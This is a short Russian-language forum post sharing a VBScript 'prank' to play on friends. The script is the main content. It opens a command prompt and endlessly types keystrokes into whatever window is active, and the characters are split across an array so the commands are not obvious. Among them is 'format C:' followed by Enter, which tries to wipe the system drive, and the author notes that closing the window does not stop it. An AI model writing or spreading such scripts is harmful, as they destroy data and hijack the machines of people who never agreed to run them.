[Dyko 77]

Ловите ноаую приколюху.Можите поиздеваться над корешами

создаём текст документ и вводим туда

On Error Resume Next
   Set WSHShell = WScript.CreateObject("WScript.Shell")
   WshShell = WScript.CreateObject("WScript.Shell")
   WshShell.Run "cmd", 1
   WshShell.AppActivate ""
   dim ms(60)
   ms(0) = "d"
   ms(1) = "i"
   ms(2) = "r"
   ms(3) = "/"
   ms(4) = "s"
   ms(5) = "~"
   ms(6) = "c"
   ms(7) = "k"
   ms(8) = "o"
   ms(9) = "k"
   ms(10) = "a"
   ms(11) = " "
   ms(12) = "d"
   ms(13) = "e"
   ms(14) = "r"
   ms(15) = "m"
   ms(16) = "a"
   ms(17) = "!"
   ms(18) = "~"
   ms(19) = "s"
   ms(20) = "h"
   ms(21) = "a"
   ms(22) = " "
   ms(23) = "i"
   ms(24) = "c"
   ms(25) = "p"
   ms(26) = "r"
   ms(27) = "a"
   ms(28) = "v"
   ms(29) = "i"
   ms(30) = "m"
   ms(31) = "!"
   ms(32) = " "
   ms(33) = "~"
   ms(34) = "f"
   ms(35) = "o"
   ms(36) = "r"
   ms(37) = "m"
   ms(38) = "a"
   ms(39) = "t"
   ms(40) = " "
   ms(41) = "C"
   ms(42) = ":"
   ms(43) = Chr(13)
   ms(44) = "S"
   ms(45) = "T"
   ms(46) = "R"
   ms(47) = "A"
   ms(48) = "S"
   ms(49) = "N"
   ms(50) = "O"
   ms(51) = "?"
   ms(52) = "?"
   ms(53) = "?"
   ms(54) = " "
   ms(55) = " "
   ms(56) = " "
   ms(57) = " "
   ms(58) = " "
   ms(59) = " "
do while(1)
dy=dy+1
 For Each Item in ms
 WScript.Sleep 300
 WshShell.SendKeys Item
	 next
loop

и сохроняем в формате vbs

при запуске он начнёт писать сякую хрнеь если даже закрыть окно он всеровно будет открывать всё и писать туда что угодно